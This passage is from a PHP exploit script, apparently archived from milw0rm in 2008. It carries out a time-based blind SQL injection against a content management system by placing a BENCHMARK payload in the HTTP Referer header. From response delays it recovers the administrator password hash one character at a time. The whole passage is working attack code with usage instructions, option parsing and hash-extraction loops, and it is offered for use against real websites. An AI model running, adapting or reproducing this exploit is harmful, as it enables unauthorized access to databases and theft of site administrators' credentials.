- use specific prefix\n"; echo "-id= - use specific user id (default 1)\n"; echo "-c= - benchmark()'s loop count (default 300000)\n"; echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of if server is slow\n\n"; echo "php {$argv[0]} http://site.com/ -p=cms_\n"; echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",25); $url = $argv[1]; for($i=2;$i<$argc;$i++) { if(strpos($argv[$i],"=")!=false) { $exploded=explode("=",$argv[$i]); if ($exploded[0]=='-p') $prefix = $exploded[1]; if ($exploded[0]=='-id') $id = $exploded[1]; if ($exploded[0]=='-c') $benchmark = $exploded[1]; } elseif($argv[$i] == '-v') $verbose=true; } if (!isset($id)) $id = 1; if (!isset($benchmark)) $benchmark = 300000; if (!isset($verbose)) $verbose=false; $url_parts = parse_url($url); $host = $url_parts['host']; $port = (isset($url_parts['port']) ? $url_parts['port'] : 80); $path = $url_parts['path']; $query_pattern = "-99' OR IF(%s,BENCHMARK(%d,MD5(31337)),1)/*"; $verbose_pattern = "%-12s %2d: %s"; print "[~] Testing probe delays...\n"; $ok=true; $nodelay=0; $withdelay=0; for ($i=1;$i<=3;$i++){ $query = sprintf($query_pattern, "1=1", 1); $fdelay = dorequest($query,false,true); if ($fdelay!==false) $nodelay+=$fdelay; else {$ok=false;break;} $query = sprintf($query_pattern, "1=1", $benchmark); $sdelay = dorequest($query,false,true); if ($sdelay!==false) $withdelay+=$sdelay; else {$ok=false;break;} if ($sdelay<=($fdelay*2)) {$ok=false;break;} usleep($benchmark/1000); $delay=false; } if ($ok) { $nondelayed = $nodelay/3; print "[+] Average nondelayed queries response time: ".round($nondelayed,1)." dsecs\n"; $delayed = $withdelay/3; print "[+] Average delayed queries response time: ".round($delayed,1)." dsecs\n"; } else die("[-] Exploit failed\n"); if (isset($GLOBALS['version'])) { echo "[+] Version {$GLOBALS['version']} has been detected\n"; $v = str_replace(".","",$GLOBALS['version']); } if (isset($prefix)) {$usedprefix = $prefix; echo "[~] Using prefix $prefix\n";} elseif (isset($v)) {$usedprefix = "dn{$v}_"; echo "[~] Using prefix dn{$v}_\n";} else {$usedprefix = "dn_"; echo "[~] Using prefix dn_\n";} print " Getting hash..."; if ($verbose) {print "\r[~]"; print "\n";} $hash=''; for($i=1; $i<=32; $i++) { $chr = gethashchar($i); if($chr!==false) $hash .= $chr; else { $chr = gethashchar($i); if ($chr !==false)$hash .= $chr; else die("\n[-] Exploit failed\n"); } } if (!$verbose) {print "\r[~]"; print "\n";} print "[+] Result: {$hash}\n"; function gethashchar ($pos) { global $query_pattern,$verbose_pattern,$usedprefix,$id,$benchmark,$verbose; $inj = "ORD(SUBSTRING((SELECT adpwd FROM {$usedprefix}admin WHERE admid={$id}),{$pos},1))"; $query = sprintf($query_pattern, $inj.">57", $benchmark*4); $success = condition($query); if (!$success) { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [0-9]\n"); $min = 48; $max = 57; } else { if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is [a-f]\n"); $min = 97; $max = 102; } for($i=$min;$i<=$max;$i++) { $query = sprintf($query_pattern, $inj."=".$i, $benchmark*4); $success = condition($query); if ($success) { $query = sprintf($query_pattern, $inj."<>".$i, $benchmark*4); $recheck = condition($query); if (!$recheck) { $chr = chr($i); if ($verbose) printf($verbose_pattern,"[v] Position",$pos,"char is {$chr}\n"); return $chr; } } } return false; } function condition($query) { global $delayed,$benchmark,$verbose,$verbose_pattern; for($attempt = 1; $attempt <= 10; $attempt++){ $delay = dorequest($query,true); if ($delay === false) { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"error\n"); } else { if ($verbose) printf($verbose_pattern,"[v] Attempt",$attempt,"success (delay is ".sprintf("%-3d",$delay)." dsecs)\n"); break; } } if ($attempt == 10) die("[-] Exploit failed\n"); if($delay > ($delayed * 2)) { usleep(($benchmark*4)/1000); return true; } return false; } function dorequest($query,$gethash=false,$getversion=false) { global $host,$port,$path,$verbose; if ($gethash&&!$verbose) status(); $start = getmicrotime(); $s = fsockopen(gethostbyname($host),$port); if (!$s) return false; else { $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "User-Agent: InAttack User Agent\r\n"; $packet .= "Referer: {$query}\r\n"; $packet .= "Connection: Close\r\n\r\n"; fputs($s, $packet); $html=''; while (!feof($s)) $html.=fgets($s); if ($getversion && !isset($GLOBALS['version'])) { $out=array(); if (preg_match("@]+)\">@i",$html,$out)) $GLOBALS['version']=$out[1]; } $end = getmicrotime(); } return intval(($end-$start)*10); } function status() { static $n; $n++; if ($n > 3) $n = 0; if($n==0){ print "\r[-]\r"; } if($n==1){ print "\r[\\]\r";} if($n==2){ print "\r[|]\r"; } if($n==3){ print "\r[/]\r"; } } function getmicrotime() {return array_sum(explode(" ", microtime()));} ?> # milw0rm.com [2008-03-11]

Query Builder